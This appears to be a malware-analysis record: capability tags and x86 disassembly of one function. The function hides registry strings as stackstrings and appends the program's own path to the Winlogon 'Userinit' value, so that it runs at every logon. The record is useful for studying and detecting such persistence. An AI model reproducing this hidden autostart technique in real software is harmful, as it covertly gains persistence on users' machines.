Function at 0x402540
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x35c
push ebx
push edi
lea eax, [esp + 0x260]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov cl, 0x66
mov dl, 0x69
mov byte [esp + 0x1a], cl
mov byte [esp + 0x28], cl
mov cl, 0x6e
mov byte [esp + 0x22], dl
mov byte [esp + 0x2d], cl
mov byte [esp + 0x3b], cl
mov byte [esp + 0x43], cl
mov byte [esp + 0x47], cl
mov byte [esp + 0x4c], cl
mov byte [esp + 0x11], cl
mov byte [esp + 0x2c], dl
mov byte [esp + 0x41], dl
mov byte [esp + 0x46], dl
mov byte [esp + 0x10], dl
mov byte [esp + 0x12], dl
lea ecx, [esp + 8]
lea edx, [esp + 0x18]
push ecx
mov al, 0x6f
mov bl, 0x72
push edx
push 0x80000002
mov byte [esp + 0x24], 0x53
mov byte [esp + 0x25], al
mov byte [esp + 0x27], 0x74
mov byte [esp + 0x28], 0x77
mov byte [esp + 0x29], 0x61
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x65
mov byte [esp + 0x2c], 0x5c
mov byte [esp + 0x2d], 0x4d
mov byte [esp + 0x2f], 0x63
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], al
mov byte [esp + 0x32], 0x73
mov byte [esp + 0x33], al
mov byte [esp + 0x35], 0x74
mov byte [esp + 0x36], 0x5c
mov byte [esp + 0x37], 0x57
mov byte [esp + 0x3a], 0x64
mov byte [esp + 0x3b], al
mov byte [esp + 0x3c], 0x77
mov byte [esp + 0x3d], 0x73
mov byte [esp + 0x3e], 0x20
mov byte [esp + 0x3f], 0x4e
mov byte [esp + 0x40], 0x54
mov byte [esp + 0x41], 0x5c
mov byte [esp + 0x42], 0x43
mov byte [esp + 0x43], 0x75
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x65
mov byte [esp + 0x48], 0x74
mov byte [esp + 0x49], 0x56
mov byte [esp + 0x4a], 0x65
mov byte [esp + 0x4b], bl
mov byte [esp + 0x4c], 0x73
mov byte [esp + 0x4e], al
mov byte [esp + 0x50], 0x5c
mov byte [esp + 0x51], 0x57
mov byte [esp + 0x54], 0x6c
mov byte [esp + 0x55], al
mov byte [esp + 0x56], 0x67
mov byte [esp + 0x57], al
mov byte [esp + 0x59], 0
mov byte [esp + 0x18], 0x55
mov byte [esp + 0x19], 0x73
mov byte [esp + 0x1a], 0x65
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x59]
mov byte [esp + 0x58], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x54]
lea ecx, [esp + 0x58]
push eax
lea edx, [esp + 0x54]
push ecx
mov ecx, dword [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push 0
push eax
push ecx
mov dword [esp + 0x68], 1
mov dword [esp + 0x6c], 0x209
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4026fc
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop ebx
add esp, 0x35c
ret
lea edi, [esp + 0x58]
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x402730
mov bl, 0x2c
cmp byte [esp + edx + 0x58], bl
je 0x40272b
lea edi, [esp + 0x58]
or ecx, 0xffffffff
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x402710
jmp 0x402730
mov byte [esp + edx + 0x59], 0
lea edi, [esp + 0x260]
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x5c]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov edx, dword [esp + 0xc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x5c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x5c]
push ecx
push eax
push 1
lea ecx, [esp + 0x1c]
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop esi
je 0x4027a2
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop ebx
add esp, 0x35c
ret
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop ebx
add esp, 0x35c
ret